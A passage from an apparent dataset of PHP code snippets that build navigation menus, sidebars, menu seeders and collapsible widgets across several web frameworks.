0;\n\t\t$max_individual_nav_items = 4;\n\t\t\n\t\tforeach($this->data['content_actions'] as $key => $item) :\n\t\t\tif ( $current_individual_nav_items == $max_individual_nav_items ) { ?>\n\t\t\t\t<?\n\t\t\t}\n\t\t\t\n\t\t\techo $this->makeListItem( $key, $item );\n\t\t\t$current_individual_nav_items++;\n\t\tendforeach;\n\t\t\n\t\t?></ul></li><?\n\t}", "public function createNavigation() {\n\t \n\t // 1. Gruppen auslesen\n\t\t$groups = array();\n\t\t$items = array();\n\t\n\t $items = $this->applicationHandler->getApplications(array(\n\t \t'groups' => true,\n\t \t'isVisible' => 1\n\t ));\n\n\t // 2. Elemente auslesen und parsen\n\t foreach ($items as $g) {\n\t \t\n\t \t$groupIsEmpty = true;\n\t \t$groupSelected = false;\n\n\t \tforeach ($g['cmtApplications'] as $r) {\n\t\n\t \t\t// Zugriffsrechte prüfen\n\t\t \tif (!$this->user->checkUserAccessRight($r['id'])) {\n\t\t \t\tcontinue;\t\n\t\t \t}\n\t\t \t\n\t\t\t\t// Da ist was drin in der Gruppe!\n\t\t\t\t$groupIsEmpty = false;\n\t\t\t\t$itemSelected = false;\n\t\t\t\t\t\t\n\t\t\t\t// Default-Einstellungen holen, sofern es welche gibt.\n\t\t\t\tif ($r['cmt_type'] == 'table') {\n\t\t\t\t\t$settingsPath = 'app_showtable/';\n\t\t\t\t} else {\n\t\t\t\t\t$a = explode('.', $r['cmt_include']);\n\t\t\t\t\t$settingsPath = $a[0].'/';\n\t\t\t\t\tunset ($a);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$itemSettings = $r['cmt_tablesettings'];\n\t\t\t\t\n\t\t\t\tif (!isset($itemSettings['icon'])) {\n\t\t\t\t\t$itemSettings['icon'] = 'default';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tswitch ($itemSettings['icon']) {\n\t\t\t\t\tcase 'otherIcon':\n\t\t\t\t \t$itemIcon = CMT_TEMPLATE.$itemSettings['iconPath'];\n\t\t\t\t \tbreak;\n\t\t\t\t\n\t\t\t\t\tcase 'none':\n\t\t\t\t\t\t$itemIcon = '';\n\t\t\t\t\t\tunset ($itemSettings['iconPath']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tif (isset($itemSettings['iconPath']) && is_file(CMT_TEMPLATE.$settingsPath.$itemSettings['iconPath'])) {\n\t\t\t\t\t\t\t$itemIcon = CMT_TEMPLATE.$settingsPath.$itemSettings['iconPath'];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$itemIcon = CMT_TEMPLATE.'general/img/'.str_replace('table', $r['cmt_type'], 'cmt_defaulttableicon_16px.png');\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$itemSettings['icon'] = 'default';\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Das 16px große Icon anzeigen\n\t\t\t\tif (!strstr($itemIcon, 'cmt_default')) {\n\t\t\t\t\t$iconParts = explode('.', (basename($itemIcon)));\n\t\t\t\t\t$itemIcon = dirname($itemIcon).'/'.array_shift($iconParts).'_16px.'.implode('.', $iconParts);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!is_file($itemIcon)) {\n\t\t\t\t\t$itemIcon = CMT_TEMPLATE.'general/img/'.str_replace('table', $r['cmt_type'], 'cmt_defaulttableicon_16px.png');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ($r['id'] == $this->selectedApplicationID) {\n\t\t\t\t\t$itemSelected = true;\n\t\t\t\t\t$groupSelected = true;\n\t\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t$itemSelected = false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// generate query variables\n\t\t\t\t$queryVars = '';\n\t\t\t\tif ($r['cmt_queryvars']) {\n\t\t\t\t\t$queryVars = str_replace(array(\"\\n\", \"\\r\"), array('&amp;', ''), $r['cmt_queryvars']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$parserVars = array(\n\t\t\t\t\t'itemIcon' => $itemIcon,\n\t\t\t\t\t'itemName' => $r['cmt_showname'],\n\t\t\t\t\t'itemId' => $r['id'],\n\t\t\t\t\t'itemSelected' => $itemSelected,\n\t\t\t\t\t'groupSelected' => $groupSelected,\n\t\t\t\t\t'queryVars' => $queryVars\n\t\t\t\t);\n\t\t\t\t\n\t\t\t\t$this->parser->setMultipleParserVars($parserVars);\n\t\t\t\t$groupHtml .= $this->parser->parse($this->itemTemplate);\n\t \t}\n\t \t\n\t \t// Falls was in der Gruppe drin ist, dann anzeigen\n\t \tif (!$groupIsEmpty) {\n\t \t\t\n\t \t\t$groupSettings = $g['cmt_groupsettings'];\n\t \t\t\n\t \t\tif (!is_array($groupSettings)) {\n\t \t\t\t$groupSettings = array();\n\t \t\t}\n\t \t\t\n\t\t\t\t// Icon suchen\n\t\t\t switch ($groupSettings['icon']) {\n\t\t\t \tcase 'otherIcon':\n\t\t\t \t\t$groupIcon = CMT_TEMPLATE.$groupSettings['iconPath'];\n\t\t\t \t\tbreak;\n\t\t\t \t\t\n\t\t\t \tcase 'none':\n\t\t\t \t\t$groupIcon = '';\n\t\t\t \t\tbreak;\n\t\t\t \t\t\n\t\t\t \tdefault:\n\t\t\t \t\tif ($groupSettings['iconPath']) {\n\t\t\t \t\t\t$groupIcon = CMT_TEMPLATE.$groupSettings['iconPath'];\n\t\t\t \t\t} else {\n\t\t\t \t\t\t$groupIcon = CMT_TEMPLATE.'general/img/cmt_defaultgroupicon_32px.png';\n\t\t\t \t\t}\n\t\t\t \t\t$groupSettings['icon'] = 'default';\n\t\t\t \t\tbreak;\n\t\t\t }\n\t\t\t \n\t\t\t // Das 32px große Icon auswählen\n\t\t\t if (!strstr($groupIcon, 'cmt_defaultgroupicon_32px.png') && $groupIcon != '') {\n\t\t\t \t$iconParts = explode('.', (basename($groupIcon)));\n\t\t\t \t$groupIcon = dirname($groupIcon).'/'.array_shift($iconParts).'_32px.'.implode('.', $iconParts);\n\t\t\t }\n\t\t\t \n\t\t\t if ($groupIcon != '' && !is_file($groupIcon)) {\n\t\t\t \t$groupIcon = CMT_TEMPLATE.'general/img/cmt_defaultgroupicon_32px.png';\n\t\t\t }\n\t\t\t \n\t\t\t // Gruppentemplate parsen\n\t\t\t $this->parserVars = array(\n\t\t \t\t'groupIcon' => $groupIcon,\n\t\t\t\t\t'groupName' => $g['cmt_groupname'],\n\t\t\t\t\t'groupId' => $g['id'],\n\t\t\t\t\t'groupHtml' => $groupHtml,\n\t\t \t\t'groupSelected' => $groupSelected\n\t\t\t \t);\n\t\t\t\t\t\t\n\t\t\t $this->parser->SetMultipleParserVars($this->parserVars);\n\t\t\t $navigation .= $this->parser->parse($this->groupTemplate);\n\t\t\t \n\t\t\t unset($groupHtml);\n\t \t}\n\t }\n\t $this->parser->setParserVar('cmtNavigationGroups', $navigation);\t \n\t return $this->parser->parseTemplate('administration/cmt_navigation.tpl');\n\t}", "function appendChildren ($item) {\n if (array_key_exists($item->name(),$this->parents)) {\n $this->menu[]=new Marker('start');\n foreach ( $this->children[$item->name()] as $child ) {\n $this->menu[]=$child;\n $this->appendChildren($child);\n }\n $check=end($this->menu);\n if ( $check->isStart() )\n array_pop($this->menu);\n else\n $this->menu[]=new Marker('end');\n }\n }", "protected function _render()\n {\n $sidebar = $GLOBALS['injector']->getInstance('Horde_View_Sidebar');\n\n $container = 0;\n foreach ($this->_menu as $m) {\n /* Check for separators. */\n if ($m == 'separator') {\n $container++;\n continue;\n }\n\n $row = array(\n 'cssClass' => $m['icon'],\n 'url' => $m['url'],\n 'label' => $m['text'],\n 'target' => $m['target'],\n 'onclick' => $m['onclick'],\n );\n\n /* Item class and selected indication. */\n if (!isset($m['class'])) {\n /* Try to match the item's path against the current\n * script filename as well as other possible URLs to\n * this script. */\n if ($this->isSelected($m['url'])) {\n $row['selected'] = true;\n }\n } elseif ($m['class'] === '__noselection') {\n unset($m['class']);\n } elseif ($m['class'] === 'current') {\n $row['selected'] = true;\n } else {\n $row['class'] = $m['class'];\n }\n\n $sidebar->addRow($row);\n }\n\n return $sidebar;\n }", "function renderTocList(array $elements, Aura\\View\\View $context)\n{\n\n foreach ($elements as $entry) {\n echo '<li class=\"list-group-item\">';\n echo '<div class=\"row clearfix\">';\n echo '<div class=\"col-sm-2\">'.\"{$entry['number']}\".'</div>';\n echo '<div class=\"col-sm-10\">'. $context->anchorRaw($entry['href'], $entry['title']) . '</div>';\n echo '</div>';\n if (isset($entry['nested'])) {\n $collapseId = 'collapse-' . str_replace('.', '-', rtrim($entry['number'], '.'));\n echo '<a class=\"bbt-toc-toggle\" href=\"#' . $collapseId . '\" data-toggle=\"collapse\" aria-expanded=\"false\" aria-controls=\"' . $collapseId . '\"><span class=\"badge\">+</span></a>';\n echo '<ul class=\"list-group bbt-toc-nested-list collapse\" id=\"' . $collapseId . '\">';\n renderTocList($entry['nested'], $context);\n echo '</ul>';\n }\n echo '</li>';\n }\n}", "static function CreateMenuItem(array $item)\r\n\t\t{\r\n\t\t\tif (!empty($item[sub]))\r\n\t\t\t{\r\n\t\t\t\techo \"<li><a href='$item[url]' class = '$item[class]' title = '$item[tip]' $item[attributes]>$item[text]</a>\";\r\n\t\t\t\techo \"<ul>\";\r\n\t\t\t\t\tforeach ($item[sub] as $sub)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tself::CreateMenuItem($sub);\r\n\t\t\t\t\t}\r\n\t\t\t\techo \"</ul></li>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\techo \"<li><a href='$item[url]' class = '$item[class]' title = '$item[tip]' $item[attributes]>$item[text]</a></li>\";\r\n\t\t\t}\r\n\t\t}", "protected function renderItems($items)\n {\n $n = count($items);\n $lines = [];\n foreach ($items as $i => $item) {\n if (!empty($item['assign'])) {\n $compare = array_intersect($this->group, $item['assign']);\n if (!empty($compare)) {\n $options = [];\n $tag = $this->CI->helpers->arrayRemove($options, 'tag', 'li');\n $class = [];\n $activeLink = false;\n\n if ($item['active']) {\n $class[] = $this->activeCssClass;\n $activeLink = true;\n }\n\n if (!empty($class)) {\n if (empty($options['class'])) {\n $options['class'] = implode(' ', $class);\n } else {\n $options['class'] .= ' ' . implode(' ', $class);\n }\n }\n $menu = $this->renderItem($item, $activeLink);\n if (!empty($item['items'])) {\n $menu .= strtr($this->submenuTemplate, [\n '{show}' => $item['active'] ? \"style='display: block'\" : '',\n '{items}' => $this->renderItems($item['items']),\n ]);\n }\n\n if (isset($options['class'])) {\n $options['class'] .= ' nav-item';\n } else {\n $options['class'] = 'nav-item';\n }\n\n $lines[] = Html::tag($tag, $menu, $options);\n }\n }\n }\n return implode(\"\\n\", $lines);\n }", "public function processCollapse()\n {\n $this->addCollapse($this->createWrapper('div', ['class' => 'collapse navbar-collapse', 'id' => $this->getWidgetId() . '_collapse'], $this->stringifyNav()));\n }", "public function run()\n {\n foreach ($this->data() as $item){\n CoreMenu::create($item);\n }\n }", "public function menuItems()\n {\n return array(\n array('label'=>Yii::t('app','Compras'), 'icon'=>'fa fa-shopping-cart', 'url'=>array('#'), 'items'=>array(\n \n // array('label'=>Yii::t('app','Home Información'), 'icon'=>'fa fa-star-half-o', 'url'=>array('/'.$this->id.'/info/')),\n // array('label'=>Yii::t('app','Beneficios'), 'icon'=>'fa fa-rocket', 'url'=>array('/'.$this->id.'/features/admin')),\n \n \tarray('label'=>Yii::t('app','Compras'), 'icon'=>'fa fa-shopping-cart', 'url'=>array('/'.$this->id.'/header/admin')),\n\n \tarray('label'=>Yii::t('app','Términos y condiciones'), 'icon'=>'fa fa-gavel', 'url'=>array('/'.$this->id.'/conditions/')),\n \tarray('label'=>Yii::t('app','Config'), 'icon'=>'fa fa-cog', 'url'=>array('/'.$this->id.'/config/')),\n \n \n )),\n array('label'=>Yii::t('app','Productos'), 'icon'=>'fa fa-barcode', 'url'=>array('#'), 'items'=>array(\n \n array('label'=>Yii::t('app','Categorías'), 'icon'=>'fa fa-list-ol', 'url'=>array('/'.$this->id.'/categories/admin')),\n array('label'=>Yii::t('app','Productos'), 'icon'=>'fa fa-barcode', 'url'=>array('/'.$this->id.'/items/admin')),\n \t// array('label'=>Yii::t('app','Facilitadores'), 'icon'=>'fa fa-graduation-cap', 'url'=>array('/'.$this->id.'/facilitador/admin')),\n \n )),\n );\n }", "protected function generateModuleMenu() {}", "public function MenuItemGroup()\n {\n $this->items = new ArrayList();\n }", "function buildMenu($obj, $style)\r\n\t{\r\n\r\n\t\t$js = \"\";\r\n\r\n\t\trequire_once(SITE_DIR.'_classes/_collections/_SubSectionPageList.php');\r\n\t\t$pages = new SubSectionPageList($obj->id);\r\n\t\t$i=0;\r\n\r\n\t\tlist($temp_js, $subsections) = $this->createMilonicJSList($pages->itemList);\r\n\t\tif(!empty($temp_js)){\r\n\t\t\t$js.=\"\\n\".'with(milonic=new menuname(\"'.$this->convertToMenuName($obj->name).'\")){'.\"\\n\r\n\t\t\t\t\t\tstyle=$style;\\n\";\r\n\t\t\t$js.=$temp_js;\r\n\t\t\t$js.=\"\\n} \" .$subsections;\r\n\t\t}\r\n\r\n\t\treturn $js;\r\n\r\n/*\r\n\t\tif(count($items)>0)\r\n\t\t{\r\n\r\n\t\t\t$js=\"\\n\".'with(milonic=new menuname(\"'.$menu_name.'\")){'.\"\\n\r\n\t\t\t\t\tstyle=$style;\\n\";\r\n\t\t\t$js.=$this->createMilonicJSList($items);\r\n\t\t\t$js.=\"\\n}\";\r\n\t\t}\r\n\t\treturn $js;\r\n*/\r\n\t}", "public function run() {\n $menus = [\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '0',\n 'body' => 'Main Navigation',\n 'type' => 'separator'\n ],\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '1',\n 'icon' => 'home',\n 'name' => 'dashboard',\n 'uri' => 'admin',\n 'title' => 'Go to Dashboard',\n 'body' => 'Dashboard'\n ],\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '5.1',\n 'icon' => 'group',\n 'name' => 'user',\n 'uri' => 'admin/user',\n 'title' => 'User Management',\n 'body' => 'Users'\n ],\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '9',\n 'body' => 'Settings',\n 'type' => 'separator'\n ],\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '9.1',\n 'name' => 'setting',\n 'icon' => 'gear',\n 'uri' => '',\n 'title' => 'Pengaturan Website',\n 'body' => 'Pengaturan',\n 'type' => 'parent'\n ],\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '9.2',\n 'name' => 'menu',\n 'icon' => 'bars',\n 'uri' => 'admin/menu',\n 'title' => 'Pengaturan Menu',\n 'body' => 'Menus'\n ],\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '9.3',\n 'icon' => 'key',\n 'name' => 'permission',\n 'uri' => 'admin/permission',\n 'title' => 'Roles & Permissions',\n 'body' => 'Permissions'\n ],\n [\n 'module_target' => 'sidebar-admin',\n 'position' => '9.1-1',\n 'name' => 'setting',\n 'icon' => '',\n 'uri' => 'admin/setting/global/update',\n 'title' => 'Pengaturan Global',\n 'body' => 'Global'\n ]\n ];\n\n for ($i = 0; $i < count($menus); $i++) {\n $menus[$i] = factory(\\App\\Menu::class)->create($menus[$i]);\n }\n\n $menus[0]->roles()->attach(3);\n $menus[1]->roles()->attach(3);\n $menus[2]->roles()->attach(2);\n $menus[3]->roles()->attach(2);\n $menus[4]->roles()->attach(2);\n $menus[5]->roles()->attach(1);\n $menus[6]->roles()->attach(1);\n $menus[7]->roles()->attach(1);\n }", "public function run()\n {\n $menus=[\n [\"parent_menu\" => 0,\"nombre\" => \"Catalogo\",\"url\" => \"javascript:;\",\"orden\" => 1,\"icono\" => \"fas fa-clipboard-list\"],\n [\"parent_menu\" => 0,\"nombre\" => \"Ventas\",\"url\" => \"javascript:;\",\"orden\" => 2,\"icono\" => \"fas fa-cart-plus\"],\n [\"parent_menu\" => 0,\"nombre\" => \"Reportes\",\"url\" => \"javascript:;\",\"orden\" => 3,\"icono\" => \"fas fa-chart-pie\"],\n [\"parent_menu\" => 0,\"nombre\" => \"Acceso\",\"url\" => \"javascript:;\",\"orden\" => 4,\"icono\" => \"fas fa-users\"],\n [\"parent_menu\" => 0,\"nombre\" => \"Ayuda\",\"url\" => \"ayuda\",\"orden\" => 5,\"icono\" => \"fas fa-exclamation-circle\"],\n [\"parent_menu\" => 1,\"nombre\" => \"Productos\",\"url\" => \"producto\",\"orden\" => 1,\"icono\" => \"fab fa-product-hunt\"],\n [\"parent_menu\" => 1,\"nombre\" => \"Categorías\",\"url\" => \"categoria\",\"orden\" => 2,\"icono\" => \"fas fa-clipboard-check\"],\n [\"parent_menu\" => 1,\"nombre\" => \"Sabores\",\"url\" => \"sabor\",\"orden\" => 3,\"icono\" => \"fas fa-ice-cream\"],\n [\"parent_menu\" => 1,\"nombre\" => \"Tamaños\",\"url\" => \"tamano\",\"orden\" => 4,\"icono\" => \"fas fa-ruler\"],\n [\"parent_menu\" => 2,\"nombre\" => \"Ordenes\",\"url\" => \"orden\",\"orden\" => 1,\"icono\" => \"fas fa-cart-arrow-down\"],\n [\"parent_menu\" => 2,\"nombre\" => \"Clientes\",\"url\" => \"cliente\",\"orden\" => 2,\"icono\" => \"fas fa-user-tie\"],\n [\"parent_menu\" => 3,\"nombre\" => \"Ingresos\",\"url\" => \"ventarango\",\"orden\" => 1,\"icono\" => \"fas fa-circle\"],\n [\"parent_menu\" => 3,\"nombre\" => \"Ventas por Mes\",\"url\" => \"venta-mes\",\"orden\" => 2,\"icono\" => \"fas fa-circle\"],\n [\"parent_menu\" => 4,\"nombre\" => \"Usuarios\",\"url\" => \"usuario\",\"orden\" => 1,\"icono\" => \"fas fa-user\"],\n [\"parent_menu\" => 4,\"nombre\" => \"Roles\",\"url\" => \"rol\",\"orden\" => 2,\"icono\" => \"fas fa-scroll\"],\n [\"parent_menu\" => 4,\"nombre\" => \"Permisos\",\"url\" => \"permiso\",\"orden\" => 3,\"icono\" => \"fas fa-user-tag\"],\n [\"parent_menu\" => 4,\"nombre\" => \"Menus\",\"url\" => \"menu\",\"orden\" => 4,\"icono\" => \"fas fa-bars\"]\n\n ];\n foreach($menus as $menu){\n DB::table('menu')->insert([\n 'parent_menu' => $menu[\"parent_menu\"],\n 'nombre' => $menu[\"nombre\"],\n 'url' => $menu[\"url\"],\n 'orden' => $menu[\"orden\"],\n 'icono' => $menu[\"icono\"], \n 'created_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }\n }", "function createItems($data) { ?>\n\t\t<div class=\"item active\">\n\t\t\t<img src=\"layout/gallery/default.png\" alt=\"<?= $data[$i][\"header\"] ?>\" \n\t\t\t\tstyle=\"height: 500px; margin-left: auto; margin-right: auto;\">\n\t\t\t<div class=\"carousel-caption custom-caption\">\n\t\t\t\t<h3>Chapter House</h3>\n\t\t\t\t<p>View of the house from 47th street.</p>\n\t\t\t</div> \n\t\t</div> <?PHP\n\t\tfor ($i = 0; $i < count($data); $i++) { ?>\n\t\t\t<div class=\"item\">\n\t\t\t\t<img src=\"layout/gallery/<?= $data[$i][\"id\"] ?>.png\" alt=\"<?= $data[$i][\"header\"] ?>\" \n\t\t\t\t\tstyle=\"height: 500px; margin-left: auto; margin-right: auto;\">\n\t\t\t\t<div class=\"carousel-caption custom-caption\">\n\t\t\t\t\t<h3><?= $data[$i][\"header\"]; ?></h3>\n\t\t\t\t\t<p><?= $data[$i][\"content\"]; ?></p>\n\t\t\t\t</div> \n\t\t\t</div> <?PHP\n\t\t}\n\t}", "public function makeMenu() {}", "public function makeMenu(){\n\n //Label & class definition\n $idDiv = \"sub-menu\";\n $classUl = \"menu\";\n $classLi = \"stdanimation1_2\";\n $classSpan = \"stdanimation1_2\";\n $classA = \"stdanimation1_4\";\n\n //array mit link, icon, label\n // mit i übersetzen\n $naviArray[] = array(\"link\" => \"index.php?view=home\", \"icon\" => \"icon_house_alt\", \"label\" => \"Home\" );\n $naviArray[] = array(\"link\" => \"index.php?view=profile\", \"icon\" => \"icon_profile\", \"label\" => \"Profile\" );\n $naviArray[] = array(\"link\" => \"index.php?view=categories\", \"icon\" => \"icon_tag\", \"label\" => \"Categories\" );\n $naviArray[] = array(\"link\" => \"index.php?view=shoppingcart\", \"icon\" => \"icon_cart\", \"label\" => \"Shopping Cart\" );\n $naviArray[] = array(\"link\" => \"index.php?view=wishlist\", \"icon\" => \"icon_gift\", \"label\" => \"Wishlist\" );\n $naviArray[] = array(\"link\" => \"index.php?view=hotlist\", \"icon\" => \"icon_grid-2x2\", \"label\" => \"Hotlist\" );\n\n\n $linkList = \"\";\n\n //create a list item for every array found\n foreach($naviArray as $navipoint){\n //do translation\n $navipoint[\"label\"] = i($navipoint[\"label\"]);\n\n $linkList .= '\n <li class=\"'.$classLi.'\">\n <span class=\"'.$classSpan.' '.$navipoint[\"icon\"].'\"></span>\n <a class=\"'.$classSpan.'\" href=\"'.$navipoint[\"link\"].'\">'.$navipoint[\"label\"].'</a>\n </li>\n ';\n }\n\n $html = \"\";\n $html = '<div id=\"'.$idDiv.'\">\n <ul class=\"'.$classUl.'\">\n '.$linkList.'\n </ul>\n </div>';\n\n return $html;\n\n\n\n /*\n return '<div id=\"sub-menu\">\n <ul class=\"menu\">\n <li class=\"stdanimation\">\n <span class=\"stdanimation1_2 icon_house_alt\"></span>\n <a class=\"stdanimation1_4\" href=\"index.php?view=home\">Home</a>\n </li>\n <li class=\"stdanimation\">\n <span class=\"stdanimation1_2 icon_profile\"></span>\n <a class=\"stdanimation1_4\" href=\"index.php?view=profile\">Profil</a>\n </li>\n <li class=\"stdanimation1_4\">\n <span class=\"stdanimation1_4 icon_tag\"></span>\n <a class=\"stdanimation1_4\" href=\"index.php?view=categorie\">Kategorien</a>\n </li>\n <li class=\"stdanimation\">\n <span class=\"stdanimation1_2 icon_cart\"></span>\n <a class=\"stdanimation1_4\" href=\"index.php?view=shoppingcart\" >Shopping Cart</a>\n </li>\n <li class=\"stdanimation1_4\">\n <span class=\"stdanimation1_4 icon_gift\"></span>\n <a class=\"stdanimation1_4\" href=\"index.php?view=shop\">Ipsum</a>\n </li>\n <li class=\"stdanimation1_4\">\n <span class=\"stdanimation1_4 icon_grid-2x2\"></span>\n <a class=\"stdanimation1_4\">Doloret</a>\n </li>\n </ul>\n </div>';\n*/\n}", "public static function createMenu(){\n $perms = Security::getPermsFromConnectedUser() ?? [];\n\n $menuData = self::$_menuData;\n\n $actualUri = self::$_actualUri;\n $menuListBuilder = [];\n $html = '';\n foreach ($menuData as $link => $data) {\n if (!empty($data['menuData'])){\n //TODO : check the min-status\n if ($data['menuData']['visible'] \n && (\n array_key_exists(\"all_perms\", $perms) \n || array_key_exists($link, $perms)\n || $link === '/admin/dashboard'\n || $link === '/'\n )) {\n $subSectionSelected = false;\n\n //Create the sub-menu\n $htmlChildren = '';\n if (!empty($data['menuData']['children'])) {\n $htmlChildren = '<ul>';\n foreach ($data['menuData']['children'] as $id => $linkChild) {\n if (array_key_exists(\"all_perms\", $perms) \n || array_key_exists($linkChild, $perms)) {\n if ($actualUri === $linkChild) {\n $subSectionSelected = true;\n }\n $classChildren = $actualUri == $linkChild ? ' class=\"selected\"' : '';\n $htmlChildren .= '<li' . $classChildren . '><a href=\"' . $linkChild . '\">' . $menuData[$linkChild]['label'] . '</li>';\n }\n }\n $htmlChildren .= '</ul>';\n }\n\n $class = ' class=\"'\n . ($actualUri == $link ? 'selected ' : '')\n . ($subSectionSelected ? 'subChildrenSelected ' : '')\n . '\"';\n\n $html = '<li' . $class . '><a href=\"' . $link . '\">'\n . '<img src=\"' . Routing::getBaseUrl() . '/public/images/icons/' . $data['menuData']['icon'] . '.png\" alt=\"\" class=\"icon iconWhite\"><p>' . $data['label'] . '</p></a>'\n . '</a>';\n\n //Adding the sub-menu\n $html .= $htmlChildren;\n\n $html .= '</li>';\n if (array_key_exists($data['menuData']['listId'], $menuListBuilder)) {\n $menuListBuilder[$data['menuData']['listId']] .= $html;\n } else {\n $menuListBuilder[$data['menuData']['listId']] = $html;\n }\n }\n }\n }\n\n $html = '';\n foreach ($menuListBuilder as $listId => $htmlValue) {\n $html.= '<ul id=\"'.$listId.'\">'.$htmlValue.'</ul>';\n }\n\n $htmlMenu = '<nav id=\"back-mainPage-menu\" class=\"d-none d-lg-flex\">'\n . $html . '</nav>'\n . '<nav id=\"back-mainPage-menuResponsive\" class=\"d-block d-lg-none hidden\">'\n . $html . '</nav>';\n echo $htmlMenu;\n }", "protected function buildMenuArray() {}", "function collapsiblebox ($name, $title, $help, $needed=false, $collapsed=false, $width=100, $title2=false) {\n\n echo '<div class=\"elgg-module elgg-module elgg-module-widget elgg-widget-instance-online_users\" style=\"float:left;width:'.$width.'%;\">';\n echo '<div class=\"elgg-head\">';\n echo '<div class=\"elgg-widget-handle clearfix\">';\n if ($title) {\n echo '<h3><a href=\"#' . $name . '\" rel=\"toggle\">';\n echo elgg_echo($title);\n if ($needed) {\n echo elgg_echo('resume:*');\n }\n echo '</a></h3>';\n if ($title2) {\n echo '<div style=\"position:relative;float:right;padding-top:4px;margin-right:40px;\">';\n echo $title2;\n echo '</div>';\n }\n }\n echo '<ul class=\"elgg-menu elgg-menu-widget elgg-menu-hz elgg-menu-widget-default\">';\n echo '<li class=\"elgg-menu-item-collapse\"><a href=\"#' . $name . '\" class=\"elgg-widget-collapse-button\" rel=\"toggle\"> </a></li>';\n if ($help) {\n echo '<li class=\"elgg-menu-item-settings\"><a href=\"#help-' . $name . '\" title=\"Help\" class=\"elgg-widget-edit-button\" rel=\"toggle\"><span class=\"elgg-icon elgg-icon-settings-alt \"></span></a></li>';\n }\n echo '</ul>';\n echo '</div></div>';\n echo '<div class=\"elgg-body\">';\n if ($collapsed) $hidden = \"hidden\";\n echo '<div class=\"elgg-widget-content ' . $hidden . '\" id=\"' . $name . '\">';\n if ($help) {\n echo '<div class=\"hidden clearfix\" id=\"help-' . $name . '\">';\n echo elgg_echo($help);;\n echo '</div>';\n }\n\n}", "public static function getMenuItems()\n {\n // Will be handled in XML in future (or/and with the Joomla native menus)\n // -> give your opinion on j-cook.pro/forum\n\n $items = array();\n\n $items['admin.countries.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_COUNTRIES',\n 'view' => 'countries',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_countries'\n );\n\n $items['admin.regions.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_REGIONS',\n 'view' => 'regions',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_regions'\n );\n\n $items['admin.provinces.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_PROVINCES',\n 'view' => 'provinces',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_provinces'\n );\n\n $items['admin.subscriptionplans.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_SUBSCRIPTIONPLANS',\n 'view' => 'subscriptionplans',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_subscriptionplans'\n );\n\n $items['admin.categories.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_CATEGORIES',\n 'view' => 'categories',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_categories'\n );\n\n $items['admin.typedocuments.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_TYPEDOCUMENTS',\n 'view' => 'typedocuments',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_typedocuments'\n );\n\n $items['admin.documents.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_DOCUMENTS',\n 'view' => 'documents',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_documents'\n );\n\n $items['admin.reservations.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_RESERVATIONS',\n 'view' => 'reservations',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_reservations'\n );\n\n $items['admin.cpanel.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_CONTROL_PANEL',\n 'view' => 'cpanel',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_cpanel'\n );\n\n $items['site.cpanel.default'] = array(\n 'label' => 'PAPIERSDEFAMILLES_LAYOUT_CONTROL_PANEL',\n 'view' => 'cpanel',\n 'layout' => 'default',\n 'icon' => 'papiersdefamilles_cpanel'\n );\n\n return $items;\n }", "public function setUpMenuItems()\n {\n $Menu = new DModuleMenu();\n $Menu -> setIcon( '<i class=\"fa fa-money\"></i>' );\n $MenuItem = new DModuleMenuItem( \"show\" , \"Monedas\" );\n $MenuItem -> setIcon( '<i class=\"fa fa-money\"></i>' );\n $Menu -> addItemObject( $MenuItem );\n $this -> setMenu( $Menu );\n }", "function makeMenu($menu){\n $output='';\n $list = '<ul>'. PHP_EOL;\n $listClose = '</ul>'. PHP_EOL;\n foreach ($menu as $key => $items) {\n $output.='<li class=\"menu\"> <a href ='.$key.'>'.$items.'</a></li>'. PHP_EOL;\n }\n $finalMenu = $list . $output . $listClose;\n return $finalMenu;\n}", "function generate_items() {\n $size = safe($this->options, 'size', 10);\n \n $table = safe($this->options, 'table');\n $sql_text = safe($this->options, 'sql_text');\n $selected = safe($this->options, 'selected', array());\n $key_field = safe($this->options, 'key_field', 'id');\n $name_field = safe($this->options, 'name_field', 'name');\n $order_field = safe($this->options, 'order_field', $name_field);\n $group_field = safe($this->options, 'group_field', 'parent_id');\n $filter = safe($this->options, 'filter', '1=1');\n $read_only = safe($this->options, 'read_only');\n $style_text = safe($this->options, 'style_text');\n $style_combo = safe($this->options, 'style_combo');\n \n 